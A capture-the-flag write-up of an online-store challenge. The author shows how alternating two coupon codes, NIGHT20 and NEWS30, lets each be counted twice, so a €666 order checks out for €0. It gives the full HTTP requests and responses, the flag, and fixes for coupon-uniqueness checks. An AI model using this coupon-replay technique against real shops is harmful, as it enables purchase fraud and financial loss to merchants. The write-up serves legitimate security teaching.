Intigriti 1026 Challenge: How I Turned a €666 Checkout Into €0

When I opened the October Intigriti challenge, the application looked like a small online store. Every fresh visitor received €66 in store credit, while the most expensive product, The Midnight Collection, cost €666.

The challenge was clearly asking me to complete a purchase that should not be possible with the starting balance. I did not start with random payloads. I first mapped the cart states and asked one question:

What must always remain true when a coupon has already been used?

The answer led me to a small state-tracking mistake. By alternating two valid coupon codes, I could make the server accept each code twice. Their discounts added up to 100%, and the server completed the €666 order for €0.

This testing was performed only on Intigriti's dedicated challenge environment.

TL;DR

The application rejected the same coupon when I submitted it twice in a row. However, after I applied a different valid coupon, the first coupon became usable again.

The working sequence was:

NIGHT20 → NEWS30 → NIGHT20 → NEWS30

Both coupons were counted twice:

20% + 30% + 20% + 30% = 100%

The cart total became €0, checkout succeeded, and the server returned the challenge flag.

Understanding the normal workflow

I began with a fresh session:

GET /api/session HTTP/2
Host: challenge-1026.challenges.intigriti.io

The response showed that the account started with 6600 cents, or €66, in credit.

I then added the most expensive product:

POST /api/cart/items HTTP/2
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json

{"productId":"midnight-vault"}

The cart now had a subtotal of 66600 cents (€666). The account did not have enough credit, so the application correctly blocked checkout.

The store exposed two promotions:

  • NIGHT20 gave a 20% discount.
  • NEWS30 gave a 30% discount after joining the newsletter.

Using both once reduced the price by 50%. That was useful, but the remaining €333 was still far above the available €66 credit.

At this stage, the interesting part was no longer the arithmetic. It was how the server remembered coupon use.

My first control: repeat the same code

I applied NIGHT20 once and received the expected 20% discount.

I immediately sent the same request again:

POST /api/cart/coupon HTTP/2
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json

{"code":"NIGHT20"}

The second request failed:

{
  "ok": false,
  "error": "coupon_already_applied",
  "message": "Coupon already applied."
}

This was a useful negative control. The application clearly had duplicate-coupon protection. The obvious attack was blocked.

I then changed only one thing: instead of repeating NIGHT20 immediately, I applied the other valid coupon first.

The invariant that broke

The rule I expected was:

Once a coupon is used by a cart, that coupon must remain used through every later cart transition.

To test it, I subscribed to the newsletter:

POST /api/newsletter HTTP/2
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json

{"email":"researcher@example.com"}

This unlocked NEWS30.

I then applied the coupons in this order:

1. NIGHT20
2. NEWS30
3. NIGHT20 again
4. NEWS30 again

The first two requests behaved normally. The third request was the important one.

Even though NIGHT20 was already present in the cart, the server accepted it after NEWS30 had been applied. The response showed its count increasing to two:

{
  "code": "NIGHT20",
  "percent": 20,
  "amount": 26640,
  "count": 2
}

The same thing happened when I submitted NEWS30 again after the second NIGHT20.

This meant the protection did not enforce uniqueness across the complete set of coupons already used by the cart. A different successful coupon application changed the state in a way that made the earlier code reusable.

Building the final cart

Here are the four coupon requests in full.

1. Apply NIGHT20

POST /api/cart/coupon HTTP/2
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json

{"code":"NIGHT20"}

2. Apply NEWS30

POST /api/cart/coupon HTTP/2
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json

{"code":"NEWS30"}

3. Apply NIGHT20 again

POST /api/cart/coupon HTTP/2
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json

{"code":"NIGHT20"}

4. Apply NEWS30 again

POST /api/cart/coupon HTTP/2
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json

{"code":"NEWS30"}

The final cart state was:

{
  "subtotal": 66600,
  "discount": 66600,
  "total": 0,
  "credit": 6600,
  "canCheckout": true,
  "promotions": [
    {
      "code": "NIGHT20",
      "percent": 20,
      "amount": 26640,
      "count": 2
    },
    {
      "code": "NEWS30",
      "percent": 30,
      "amount": 39960,
      "count": 2
    }
  ]
}

The application calculated each accepted discount against the original subtotal:

NIGHT20 twice = 40%
NEWS30 twice  = 60%
Total         = 100%

The €666 subtotal and the €666 discount were now equal. The final amount due was zero, and the original €66 credit remained untouched.

Completing checkout

I sent the normal checkout request:

POST /api/checkout HTTP/2
Host: challenge-1026.challenges.intigriti.io
Content-Type: application/json

{}

The server accepted the order:

{
  "ok": true,
  "receipt": {
    "orderId": "BLE-5DAAC2012B",
    "paid": 0,
    "credit": 6600,
    "message": "Your order is confirmed and being prepared.",
    "flag": "INTIGRITI{094638e6-ba2f-4c50-8bb4-41ced0d5debd}"
  }
}

The server did not only display a zero total in the browser. It created an order and returned a receipt with paid: 0. That was the final impact proof.

Replaying it from a clean session

I repeated the full sequence in a second fresh session.

The second run produced the same cart state and completed checkout with a different order ID. This ruled out the possibility that the first result depended on leftover state from an earlier test.

The controls were consistent:

  • NEWS30 failed before newsletter registration.
  • Repeating NIGHT20 directly failed.
  • Checkout failed while the total remained above the available credit.
  • NIGHT20 became reusable only after NEWS30 was successfully applied.
  • NEWS30 then became reusable after the next NIGHT20.
  • The complete sequence worked again in a clean session.

Why it worked

I did not have access to the server source code, so I cannot honestly point to an exact line of code.

The behavior is consistent with a check that remembers only the most recently applied coupon, or with an equivalent state-tracking mistake. The important part is what the server proved through its behavior:

  • It knew that the current coupon was already applied when I repeated it immediately.
  • Applying a different coupon changed that decision.
  • The earlier coupon was then accepted and counted again.
  • Checkout trusted the duplicated promotion counts when calculating the final price.

So the root security problem was not simply "coupon stacking." Stacking two different coupons was allowed. The broken property was coupon uniqueness across the full cart history.

How I would fix it

The server should store the canonical identifier of every coupon already used by the cart. Before applying a new code, it should check the complete set:

if canonicalCouponId is already in appliedCouponIds:
    reject the request

I would also recalculate the order independently at checkout from unique, server-authorized promotion IDs. The checkout endpoint should not trust a discount total accumulated through earlier cart transitions.

Useful defense-in-depth rules include:

  • define which coupon combinations are allowed;
  • enforce a maximum cumulative discount;
  • reject duplicate promotion IDs during final price calculation;
  • test repeated, reordered, removed, and alternating coupon sequences;
  • treat checkout as the final authority, even if the cart UI already calculated a total.

What I learned

This challenge was a good example of why business-logic testing is mainly about state, not unusual payloads.

The application blocked the obvious input: the same coupon twice in a row. But that was narrower than the real rule the business needed.

My process was:

Understand the normal transaction
        ↓
Write the invariant
        ↓
Confirm the obvious duplicate is rejected
        ↓
Change one state transition
        ↓
Replay the earlier action
        ↓
Prove the final business result at checkout

The requests were simple. The useful part was asking what the server had to remember after every successful transition.


Author: Adesh Nandkishor Kolte — ad3.sh